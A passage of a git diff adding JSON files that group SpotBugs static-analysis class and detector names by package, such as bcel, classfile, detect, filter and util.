"LockAnalysis", + "LockChecker", + "LockDataflow", + "LockSet", + "LongExtraType", + "LongOrDoubleLocalVariable", + "MatchAny", + "MatchMethodEntry", + "MatchResult", + "MayReturnNullPropertyDatabase", + "MergeTree", + "MethodBytecodeSet", + "MethodChooser", + "MethodHash", + "MethodPropertyDatabase", + "MethodUnprofitableException", + "MissingClassException", + "Monitorenter", + "New", + "NonNullParamViolation", + "NonNullSpecification", + "NonexistentObligationException", + "NullDerefAndRedundantComparisonCollector", + "NullDerefAndRedundantComparisonFinder", + "NullType", + "NullValueUnconditionalDeref", + "NullnessAnnotation", + "NullnessAnnotationDatabase", + "ObjectTypeFactory", + "Obligation", + "ObligationAcquiredOrReleasedInLoopException", + "ObligationAnalysis", + "ObligationDataflow", + "ObligationFactory", + "ObligationPolicyDatabase", + "ObligationPolicyDatabaseAction", + "ObligationPolicyDatabaseActionType", + "ObligationPolicyDatabaseEntry", + "ObligationPolicyDatabaseEntryType", + "ObligationSet", + "OneVariableInstruction", + "Opcode", + "OpcodeStackScanner", + "OverriddenMethodsVisitor", + "ParameterAnnotationAccumulator", + "ParameterAnnotationLookupResult", + "ParameterNullnessPropertyDatabase", + "ParameterProperty", + "Path", + "PathVisitor", + "PatternElement", + "PatternElementMatch", + "PatternMatcher", + "PointerUsageRequiringNonNullValue", + "PostDominatorsAnalysis", + "PropertyDatabase", + "PropertyDatabaseFormatException", + "PruneInfeasibleExceptionEdges", + "PruneUnconditionalExceptionThrowerEdges", + "PutfieldScanner", + "RedundantBranch", + "RepositoryClassParser", + "RepositoryLookupFailureCallback", + "ResourceTracker", + "ResourceValue", + "ResourceValueAnalysis", + "ResourceValueFrame", + "ResourceValueFrameModelingVisitor", + "ReturnPath", + "ReturnPathAnalysis", + "ReturnPathDataflow", + "ReturnPathType", + "ReturnPathTypeAnalysis", + "ReturnPathTypeDataflow", + "ReturnTypeAnnotationAccumulator", + "ReturnTypeAnnotationLookupResult", + "ReturnValueNullnessPropertyDatabase", + "ReverseDFSOrder", + "ReverseDepthFirstSearch", + "ReversePostOrder", + "SignatureConverter", + "SignatureParser", + "SimplePathEnumerator", + "SingleInstruction", + "SourceFile", + "SourceFileDataSource", + "SourceFinder", + "SourceInfoMap", + "SourceSinkInfo", + "SourceSinkType", + "StackDepth", + "StackDepthAnalysis", + "StandardTypeMerger", + "State", + "StateSet", + "Store", + "StoreAnalysis", + "StoreDataflow", + "Subtypes2", + "SupertypeTraversalVisitor", + "Target", + "TargetEnumeratingVisitor", + "TestCaseDetector", + "ThrownException", + "TopType", + "TypeAnalysis", + "TypeDataflow", + "TypeFrame", + "TypeFrameModelingVisitor", + "TypeMerger", + "TypeQualifierAnnotation", + "TypeQualifierAnnotationLookupResult", + "TypeQualifierApplications", + "TypeQualifierDatabase", + "TypeQualifierDataflow", + "TypeQualifierDataflowAnalysis", + "TypeQualifierDataflowFactory", + "TypeQualifierNullnessAnnotationDatabase", + "TypeQualifierResolver", + "TypeQualifierValue", + "TypeQualifierValueSet", + "URLClassPath", + "URLClassPathRepository", + "UnconditionalValueDerefAnalysis", + "UnconditionalValueDerefDataflow", + "UnconditionalValueDerefSet", + "UnresolvedXField", + "UnresolvedXMethod", + "UsagesRequiringNonNullValues", + "ValidatorClassLoader", + "ValueNumber", + "ValueNumberAnalysis", + "ValueNumberAnalysisFeatures", + "ValueNumberCache", + "ValueNumberDataflow", + "ValueNumberFactory", + "ValueNumberFrame", + "ValueNumberFrameModelingVisitor", + "ValueNumberSourceInfo", + "Variable", + "Wild", + "XClass", + "XFactory", + "XField", + "XMethod", + "XMethodParameter", + "ZipSourceFileDataSource", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bcel.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bcel.json new file mode 100644 index 0000000..7d42acb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bcel.json @@ -0,0 +1,16 @@ +{ + "name": "bcel", + "description": null, + "rules": [ + "AnnotationDetector", + "BCELUtil", + "CFGDetector", + "NONNULL2Z", + "NULL2Z", + "NullnessConversationInstruction", + "OpcodeStackDetector", + "PreorderDetector", + "package-info", + "package-info" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bugReporter.json new file mode 100644 index 0000000..53faca3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bugReporter.json @@ -0,0 +1,9 @@ +{ + "name": "bugReporter", + "description": null, + "rules": [ + "BugReporterDecorator", + "MaxRankDecorator", + "SuppressionDecorator" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bytecode.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bytecode.json new file mode 100644 index 0000000..7704003 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bytecode.json @@ -0,0 +1,7 @@ +{ + "name": "bytecode", + "description": null, + "rules": [ + "MemberUtils" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/charsets.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/charsets.json new file mode 100644 index 0000000..9c874f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/charsets.json @@ -0,0 +1,9 @@ +{ + "name": "charsets", + "description": null, + "rules": [ + "SourceCharset", + "UTF8", + "UserTextFile" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/classfile.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/classfile.json new file mode 100644 index 0000000..25e3113 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/classfile.json @@ -0,0 +1,138 @@ +{ + "name": "classfile", + "description": null, + "rules": [ + "AbstractFieldAnnotationVisitor", + "AbstractMethodVisitor", + "AbstractScannableCodeBase", + "AbstractScannableCodeBaseEntry", + "AnalysisCache", + "AnalysisFactory", + "AnnotatedObject", + "AnnotationValue", + "AssertionMethodsFactory", + "AssignedFieldMapFactory", + "BackwardTypeQualifierDataflowFactoryFactory", + "BlockTypeAnalysisFactory", + "CFGFactory", + "CallListDataflowFactory", + "CheckedAnalysisException", + "ClassContextClassAnalysisEngine", + "ClassData", + "ClassDataAnalysisEngine", + "ClassDescriptor", + "ClassFactory", + "ClassInfo", + "ClassInfoAnalysisEngine", + "ClassNameAndSuperclassInfo", + "ClassNameAndSuperclassInfoAnalysisEngine", + "ClassNameMismatchException", + "ClassNodeAnalysisEngine", + "ClassParser", + "ClassParserInterface", + "ClassParserUsingASM", + "ClassParserUsingBCEL", + "ClassPathBuilder", + "ClassPathImpl", + "ClassReaderAnalysisEngine", + "CompactLocationNumberingFactory", + "ConstantDataflowFactory", + "ConstantPoolGenFactory", + "DelegatingCodeBaseEntry", + "DelegatingCodeBaseIterator", + "DepthFirstSearchFactory", + "DescriptorFactory", + "DirectoryCodeBase", + "DirectoryCodeBaseEntry", + "EmptyCodeBase", + "EngineRegistrar", + "EngineRegistrar", + "EngineRegistrar", + "EnumValue", + "ExceptionSetFactoryFactory", + "FieldDescriptor", + "FieldInfo", + "FieldOrMethodDescriptor", + "FieldOrMethodName", + "FilesystemCodeBaseLocator", + "FinallyDuplicatesInfoFactory", + "FindBugsASM", + "ForwardTypeQualifierDataflowFactoryFactory", + "Global", + "IAnalysisCache", + "IAnalysisEngine", + "IAnalysisEngineRegistrar", + "IClassAnalysisEngine", + "IClassConstants", + "IClassFactory", + "IClassObserver", + "IClassPath", + "IClassPathBuilder", + "IClassPathBuilderProgress", + "ICodeBase", + "ICodeBaseEntry", + "ICodeBaseIterator", + "ICodeBaseLocator", + "IDatabaseFactory", + "IErrorLogger", + "IMethodAnalysisEngine", + "IScannableCodeBase", + "InvalidClassFileFormatException", + "IsNullValueDataflowFactory", + "JavaClassAnalysisEngine", + "JrtfsCodeBase", + "LiveLocalStoreDataflowFactory", + "LoadDataflowFactory", + "LoadedFieldSetFactory", + "LockCheckerFactory", + "LockDataflowFactory", + "MethodBytecodeSetFactory", + "MethodDescriptor", + "MethodFactory", + "MethodGenFactory", + "MethodInfo", + "MissingClassException", + "NestedZipFileCodeBase", + "NestedZipFileCodeBaseLocator", + "NonExceptionDominatorsAnalysis", + "NonExceptionDominatorsAnalysisFactory", + "NonExceptionPostDominatorsAnalysis", + "NonExceptionPostDominatorsAnalysisFactory", + "NonImplicitExceptionDominatorsAnalysis", + "NonImplicitExceptionDominatorsAnalysisFactory", + "NonImplicitExceptionPostDominatorsAnalysis", + "NonImplicitExceptionPostDominatorsAnalysisFactory", + "ObligationDataflowFactory", + "ParameterSignatureListFactory", + "RecomputableClassAnalysisEngine", + "ReflectionDatabaseFactory", + "ResourceNotFoundException", + "ReturnPathDataflowFactory", + "ReturnPathTypeDataflowFactory", + "ReverseDepthFirstSearchFactory", + "SelfMethodCalls", + "SingleFileCodeBase", + "SingleFileCodeBaseEntry", + "StoreDataflowFactory", + "TypeDataflowFactory", + "UncheckedAnalysisException", + "UnconditionalValueDerefDataflowFactory", + "UnpackedBytecodeCallback", + "UnpackedCode", + "UnpackedCodeFactory", + "UsagesRequiringNonNullValuesFactory", + "ValueNumberDataflowFactory", + "ValueRangeAnalysisFactory", + "ZipCodeBaseFactory", + "ZipFileCodeBase", + "ZipFileCodeBaseEntry", + "ZipInputStreamCodeBase", + "ZipInputStreamCodeBaseEntry", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info", + "package-info" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/config.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/config.json new file mode 100644 index 0000000..b72f211 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/config.json @@ -0,0 +1,11 @@ +{ + "name": "config", + "description": null, + "rules": [ + "AnalysisFeatureSetting", + "CommandLine", + "ProjectFilterSettings", + "SortedProperties", + "UserPreferences" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/cwe.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/cwe.json new file mode 100644 index 0000000..83b0e7f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/cwe.json @@ -0,0 +1,9 @@ +{ + "name": "cwe", + "description": null, + "rules": [ + "Weakness", + "WeaknessCatalog", + "WeaknessSeverity" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/detect.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/detect.json new file mode 100644 index 0000000..168ceab --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/detect.json @@ -0,0 +1,227 @@ +{ + "name": "detect", + "description": null, + "rules": [ + "AbstractAssertDetector", + "AnyMethodReturnValueStreamFactory", + "AppendingToAnObjectOutputStream", + "AtomicityProblem", + "BadAppletConstructor", + "BadResultSetAccess", + "BadSyntaxForRegularExpression", + "BadUseOfReturnValue", + "BadlyOverriddenAdapter", + "BooleanReturnNull", + "BuildAccessMethodsDatabase", + "BuildCheckReturnAnnotationDatabase", + "BuildInterproceduralCallGraph", + "BuildNonNullAnnotationDatabase", + "BuildNonnullReturnDatabase", + "BuildObligationPolicyDatabase", + "BuildStringPassthruGraph", + "BuildUnconditionalParamDerefDatabase", + "CallToUnconditionalThrower", + "CallToUnsupportedMethod", + "CalledMethods", + "CheckAnalysisContextContainedAnnotation", + "CheckCalls", + "CheckExpectedWarnings", + "CheckImmutableAnnotation", + "CheckRelaxingNullnessAnnotation", + "CheckTypeQualifiers", + "CloneIdiom", + "ComparatorIdiom", + "ConfusedInheritance", + "ConfusionBetweenInheritedAndOuterMethod", + "ConstructorThrow", + "CovariantArrayAssignment", + "CrossSiteScripting", + "DateFormatStringChecker", + "DeadLocalStoreProperty", + "DefaultEncodingDetector", + "DoInsideDoPrivileged", + "DontAssertInstanceofInTests", + "DontCatchIllegalMonitorStateException", + "DontCatchNullPointerException", + "DontIgnoreResultOfPutIfAbsent", + "DontReusePublicIdentifiers", + "DontUseEnum", + "DontUseFloatsAsLoopCounters", + "DoomedCodeWarningProperty", + "DroppedException", + "DumbMethodInvocations", + "DumbMethods", + "DuplicateBranches", + "EmptyZipFileEntry", + "EqualsOperandShouldHaveClassCompatibleWithThis", + "ExplicitSerialization", + "FieldItemSummary", + "FinalizerNullsFields", + "FindArgumentAssertions", + "FindAssertionsWithSideEffects", + "FindBadCast2", + "FindBadEndOfStreamCheck", + "FindBadForLoop", + "FindBugsSummaryStats", + "FindCircularDependencies", + "FindComparatorProblems", + "FindDeadLocalStores", + "FindDoubleCheck", + "FindEmptySynchronizedBlock", + "FindFieldSelfAssignment", + "FindFinalizeInvocations", + "FindFloatEquality", + "FindFloatMath", + "FindHEmismatch", + "FindHiddenMethod", + "FindInconsistentSync2", + "FindInstanceLockOnSharedStaticData", + "FindJSR166LockMonitorenter", + "FindLocalSelfAssignment2", + "FindMaskedFields", + "FindMismatchedWaitOrNotify", + "FindNakedNotify", + "FindNoSideEffectMethods", + "FindNonSerializableStoreIntoSession", + "FindNonSerializableValuePassedToWriteObject", + "FindNonShortCircuit", + "FindNullDeref", + "FindNullDerefsInvolvingNonShortCircuitEvaluation", + "FindOpenStream", + "FindOverridableMethodCall", + "FindPotentialSecurityCheckBasedOnUntrustedSource", + "FindPublicAttributes", + "FindPuzzlers", + "FindRefComparison", + "FindReturnRef", + "FindRoughConstants", + "FindRunInvocations", + "FindSelfComparison", + "FindSelfComparison2", + "FindSleepWithLockHeld", + "FindSpinLoop", + "FindSqlInjection", + "FindTwoLockWait", + "FindUncalledPrivateMethods", + "FindUnconditionalWait", + "FindUninitializedGet", + "FindUnrelatedTypesInGenericContainer", + "FindUnreleasedLock", + "FindUnsatisfiedObligation", + "FindUnsyncGet", + "FindUseOfNonSerializableValue", + "FindUselessControlFlow", + "FindUselessObjects", + "FindVulnerableSecurityCheckMethods", + "FormatStringChecker", + "FunctionsThatMightBeMistakenForProcedures", + "HugeSharedStringConstants", + "IDivResultCastToDouble", + "IOStreamFactory", + "IncompatMask", + "InconsistentAnnotations", + "InconsistentSyncWarningProperty", + "InefficientIndexOf", + "InefficientInitializationInsideLoop", + "InefficientMemberAccess", + "InefficientToArray", + "InfiniteLoop", + "InfiniteRecursiveLoop", + "InheritanceUnsafeGetResource", + "InitializationChain", + "InitializeNonnullFieldsInConstructor", + "InstanceFieldLoadStreamFactory", + "InstantiateStaticClass", + "IntCast2LongAsInstant", + "InvalidJUnitTest", + "IteratorIdioms", + "LazyInit", + "LoadOfKnownNullValue", + "LostLoggerDueToWeakReference", + "MethodReturnCheck", + "MethodReturnValueStreamFactory", + "Methods", + "MultipleInstantiationsOfSingletons", + "MultithreadedInstanceAccess", + "MutableEnum", + "MutableLock", + "MutableStaticFields", + "Naming", + "Noise", + "NoiseNullDeref", + "NonNullReturnProperty", + "NoteAnnotationRetention", + "NoteCheckReturnValueAnnotations", + "NoteDirectlyRelevantTypeQualifiers", + "NoteJCIPAnnotation", + "NoteNonNullAnnotations", + "NoteNonnullReturnValues", + "NoteSuppressedWarnings", + "NoteUnconditionalParamDerefs", + "NullArgumentWarningProperty", + "NullDerefProperty", + "NumberConstructor", + "OptionalReturnNull", + "OverridingEqualsNotSymmetrical", + "OverridingMethodsMustInvokeSuperDetector", + "PermissionsSuper", + "PreferZeroLengthArrays", + "PublicIdentifiers", + "PublicSemaphores", + "QuestionableBooleanAssignment", + "ReadOfInstanceFieldInMethodInvokedByConstructorInSuperclass", + "ReadReturnShouldBeChecked", + "RedundantConditions", + "RedundantInterfaces", + "RefComparisonWarningProperty", + "ReflectionIncreaseAccessibility", + "ReflectiveClasses", + "RepeatedConditionals", + "ResolveAllReferences", + "ResourceInMultipleThreadsDetector", + "RuntimeExceptionCapture", + "SerializableIdiom", + "SharedVariableAtomicityDetector", + "StartInConstructor", + "StaticCalendarDetector", + "StaticFieldLoadStreamFactory", + "Stream", + "StreamEquivalenceClass", + "StreamEscape", + "StreamFactory", + "StreamFrameModelingVisitor", + "StreamResourceTracker", + "StringConcatenation", + "SuperfluousInstanceOf", + "SuspiciousThreadInterrupted", + "SwitchFallthrough", + "SynchronizationOnSharedBuiltinConstant", + "SynchronizeAndNullCheckField", + "SynchronizeOnClassLiteralNotGetClass", + "SynchronizingOnContentsOfFieldToProtectField", + "TestASM", + "TestDataflowAnalysis", + "TestingGround", + "TestingGround2", + "ThrowingExceptions", + "TrainFieldStoreTypes", + "TrainLongInstantfParams", + "TrainNonNullAnnotations", + "TrainUnconditionalDerefParams", + "TypeReturnNull", + "URLProblems", + "UncallableMethodOfAnonymousClass", + "UnnecessaryEnvUsage", + "UnnecessaryMath", + "UnreadFields", + "UnreadFieldsData", + "UselessSubclassMethod", + "UselessSuppressionDetector", + "VarArgsProblems", + "ViewCFG", + "VolatileUsage", + "WaitInLoop", + "WrongMapIterator", + "XMLFactoryBypass" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/filter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/filter.json new file mode 100644 index 0000000..a56fa48 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/filter.json @@ -0,0 +1,32 @@ +{ + "name": "filter", + "description": null, + "rules": [ + "AndMatcher", + "AnnotationMatcher", + "BugMatcher", + "ClassMatcher", + "CompoundMatcher", + "ConfidenceMatcher", + "FieldMatcher", + "Filter", + "FilterException", + "FirstVersionMatcher", + "LastVersionMatcher", + "LocalMatcher", + "Matcher", + "MemberMatcher", + "MethodMatcher", + "NameMatch", + "NotMatcher", + "OrMatcher", + "PriorityMatcher", + "RankMatcher", + "RelationalOp", + "SignatureUtil", + "SourceMatcher", + "StringSetMatch", + "TypeMatcher", + "VersionMatcher" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/findbug.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/findbug.json new file mode 100644 index 0000000..edece9a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/findbug.json @@ -0,0 +1,152 @@ +{ + "name": "findbug", + "description": null, + "rules": [ + "AWTEventQueueExecutor", + "AbstractBugReporter", + "AddMessages", + "AnalysisCacheToRepositoryAdapter", + "AnalysisError", + "AnalysisLocal", + "AnalysisOptions", + "Analyze", + "AppVersion", + "BugAccumulator", + "BugAnnotation", + "BugAnnotationUtil", + "BugAnnotationVisitor", + "BugAnnotationWithSourceLines", + "BugCategory", + "BugCode", + "BugCollection", + "BugCollectionBugReporter", + "BugInstance", + "BugPattern", + "BugProperty", + "BugRankCategory", + "BugRanker", + "BugReportDispatcher", + "BugReporter", + "BugReporterObserver", + "ByteCodePatternDetector", + "BytecodeScanningDetector", + "CallGraph", + "CallGraphEdge", + "CallGraphNode", + "CallSite", + "CategoryFilteringBugReporter", + "CheckBcel", + "ClassAnnotation", + "ClassScreener", + "ClassWarningSuppressor", + "CommandLineUiCallback", + "ComponentPlugin", + "ConfigurableBugReporter", + "CurrentThreadExecutorService", + "DeepSubtypeAnalysis", + "DelegatingBugReporter", + "Detector", + "Detector2", + "DetectorFactory", + "DetectorFactoryChooser", + "DetectorFactoryCollection", + "DetectorToDetector2Adapter", + "DiscoverSourceDirectories", + "EmacsBugReporter", + "ErrorCountingBugReporter", + "ExcludingHashesBugReporter", + "ExitCodes", + "FatalException", + "FieldAnnotation", + "FieldWarningSuppressor", + "FilterBugReporter", + "FindBugs", + "FindBugs2", + "FindBugsAnalysisFeatures", + "FindBugsCommandLine", + "FindBugsDisplayFeatures", + "FindBugsMain", + "FindBugsMessageFormat", + "FindBugsProgress", + "FirstPassDetector", + "Footprint", + "FuzzyBugComparator", + "GlobalOptions", + "HTMLBugReporter", + "I18N", + "IClassScreener", + "IFindBugsEngine", + "IGuiCallback", + "InstructionScanner", + "InstructionScannerDriver", + "InstructionScannerGenerator", + "IntAnnotation", + "InterproceduralFirstPassDetector", + "JavaVersion", + "JavaVersionException", + "L10N", + "LaunchAppropriateUI", + "LocalVariableAnnotation", + "Lookup", + "MethodAnnotation", + "MethodWarningSuppressor", + "NewResults", + "NoClassesFoundToAnalyzeException", + "NoOpFindBugsProgress", + "NonReportingDetector", + "NonReportingDetectorToDetector2Adapter", + "Obfuscate", + "OpcodeStack", + "PackageMemberAnnotation", + "PackageStats", + "PackageWarningSuppressor", + "ParameterWarningSuppressor", + "Plugin", + "PluginDoesntContainMetadataException", + "PluginException", + "PluginLoader", + "PrintingBugReporter", + "Priorities", + "ProgramPoint", + "Project", + "ProjectPackagePrefixes", + "ProjectStats", + "PropertyBundle", + "RecursiveFileSearch", + "ResourceCollection", + "ResourceCreationPoint", + "ResourceTrackingDetector", + "SAXBugCollectionHandler", + "SelfCalls", + "ShowHelp", + "SloppyBugComparator", + "SortedBugCollection", + "SortingBugReporter", + "SourceLineAnnotation", + "StackMapAnalyzer", + "StartTime", + "StatelessDetector", + "StringAnnotation", + "SuppressionMatcher", + "SuppressionMatcherBugReporter", + "SwitchHandler", + "SynchronizedBugReporter", + "SystemProperties", + "TextUIBugReporter", + "TextUICommandLine", + "TextUIProgressCallback", + "Token", + "Tokenizer", + "TrainingDetector", + "TypeAnnotation", + "UseAnnotationDatabase", + "Version", + "VersionInsensitiveBugComparator", + "WarningComparator", + "WarningSuppressor", + "XDocsBugReporter", + "XMLBugReporter", + "XMLWriteableWithMessages", + "package-info" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/graph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/graph.json new file mode 100644 index 0000000..a1692d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/graph.json @@ -0,0 +1,26 @@ +{ + "name": "graph", + "description": null, + "rules": [ + "AbstractDepthFirstSearch", + "AbstractEdge", + "AbstractGraph", + "AbstractVertex", + "DFSEdgeTypes", + "DepthFirstSearch", + "Graph", + "GraphEdge", + "GraphToolkit", + "GraphVertex", + "MergeVertices", + "ReverseDepthFirstSearch", + "SearchTree", + "SearchTreeBuilder", + "SearchTreeCallback", + "StronglyConnectedComponents", + "Transpose", + "VertexChooser", + "VertexCombinator", + "VisitationTimeComparator" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/internalAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/internalAnnotations.json new file mode 100644 index 0000000..eaafa92 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/internalAnnotations.json @@ -0,0 +1,10 @@ +{ + "name": "internalAnnotations", + "description": null, + "rules": [ + "AnalysisContextContained", + "DottedClassName", + "SlashedClassName", + "StaticConstant" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/io.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/io.json new file mode 100644 index 0000000..f7ef536 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/io.json @@ -0,0 +1,8 @@ +{ + "name": "io", + "description": null, + "rules": [ + "IO", + "SlowInputStream" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/jaif.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/jaif.json new file mode 100644 index 0000000..4d9dd96 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/jaif.json @@ -0,0 +1,13 @@ +{ + "name": "jaif", + "description": null, + "rules": [ + "JAIFEnumConstant", + "JAIFEvents", + "JAIFParser", + "JAIFScanner", + "JAIFSyntaxException", + "JAIFToken", + "JAIFTokenKind" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/log.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/log.json new file mode 100644 index 0000000..6f11e4c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/log.json @@ -0,0 +1,12 @@ +{ + "name": "log", + "description": null, + "rules": [ + "ConsoleLogger", + "IProfiler", + "LogSync", + "Logger", + "ProfileSummary", + "Profiler" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/model.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/model.json new file mode 100644 index 0000000..d93c54f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/model.json @@ -0,0 +1,15 @@ +{ + "name": "model", + "description": null, + "rules": [ + "ClassFeatureSet", + "ClassNameRewriter", + "ClassNameRewriterUtil", + "IdentityClassNameRewriter", + "MovedClassMap", + "RegenerateClassFeatures", + "SimilarClassFinder", + "SimilarClassSet", + "package-info" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plan.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plan.json new file mode 100644 index 0000000..3bbea67 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plan.json @@ -0,0 +1,17 @@ +{ + "name": "plan", + "description": null, + "rules": [ + "AnalysisPass", + "ByInterfaceDetectorFactorySelector", + "ConstraintEdge", + "ConstraintGraph", + "DetectorFactorySelector", + "DetectorNode", + "DetectorOrderingConstraint", + "ExecutionPlan", + "OrderingConstraintException", + "ReportingDetectorFactorySelector", + "SingleDetectorFactorySelector" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plugins.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plugins.json new file mode 100644 index 0000000..2cfb6aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plugins.json @@ -0,0 +1,8 @@ +{ + "name": "plugins", + "description": null, + "rules": [ + "DuplicatePluginIdError", + "DuplicatePluginIdException" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/props.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/props.json new file mode 100644 index 0000000..1f570f9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/props.json @@ -0,0 +1,12 @@ +{ + "name": "props", + "description": null, + "rules": [ + "AbstractWarningProperty", + "GeneralWarningProperty", + "PriorityAdjustment", + "WarningProperty", + "WarningPropertySet", + "WarningPropertyUtil" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/sarif.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/sarif.json new file mode 100644 index 0000000..7214dbb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/sarif.json @@ -0,0 +1,23 @@ +{ + "name": "sarif", + "description": null, + "rules": [ + "BugCollectionAnalyser", + "Extension", + "GUIDCalculator", + "Invocation", + "Level", + "Location", + "Message", + "MessageFormat", + "Notification", + "Placeholder", + "Result", + "Rule", + "SarifBugReporter", + "SarifException", + "Stack", + "Taxon", + "package-info" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/util.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/util.json new file mode 100644 index 0000000..81654fe --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/util.json @@ -0,0 +1,46 @@ +{ + "name": "util", + "description": null, + "rules": [ + "AnyTypeMatcher", + "Archive", + "Bag", + "BootstrapMethodsUtil", + "ClassName", + "ClassPathUtil", + "CollectionAnalysis", + "ContainsCamelCaseWordStringMatcher", + "DualKeyHashMap", + "EditDistance", + "ExactStringMatcher", + "FractionalMultiset", + "FutureValue", + "HTML", + "JavaWebStart", + "LaunchBrowser", + "MapCache", + "MergeMap", + "MethodAnalysis", + "MultiMap", + "MultiThreadedCodeIdentifierUtils", + "Multiset", + "MutableClasses", + "NestedAccessUtil", + "NotImplementedYetException", + "NullIterator", + "ProfilingMapCache", + "RegexStringMatcher", + "SecurityManagerHandler", + "SplitCamelCaseIdentifier", + "StringMatcher", + "Strings", + "SubtypeTypeMatcher", + "TestDesktopIntegration", + "TopologicalSort", + "TripleKeyHashMap", + "TypeMatcher", + "Util", + "Values", + "WriteOnceProperties" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/visitclass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/visitclass.json new file mode 100644 index 0000000..6d6be25 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/visitclass.json @@ -0,0 +1,14 @@ +{ + "name": "visitclass", + "description": null, + "rules": [ + "AnnotationVisitor", + "BetterVisitor", + "Constants2", + "DismantleBytecode", + "LVTHelper", + "PreorderVisitor", + "PrintClass", + "Util" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/workflow.json b/Raw Data/Static Analysis 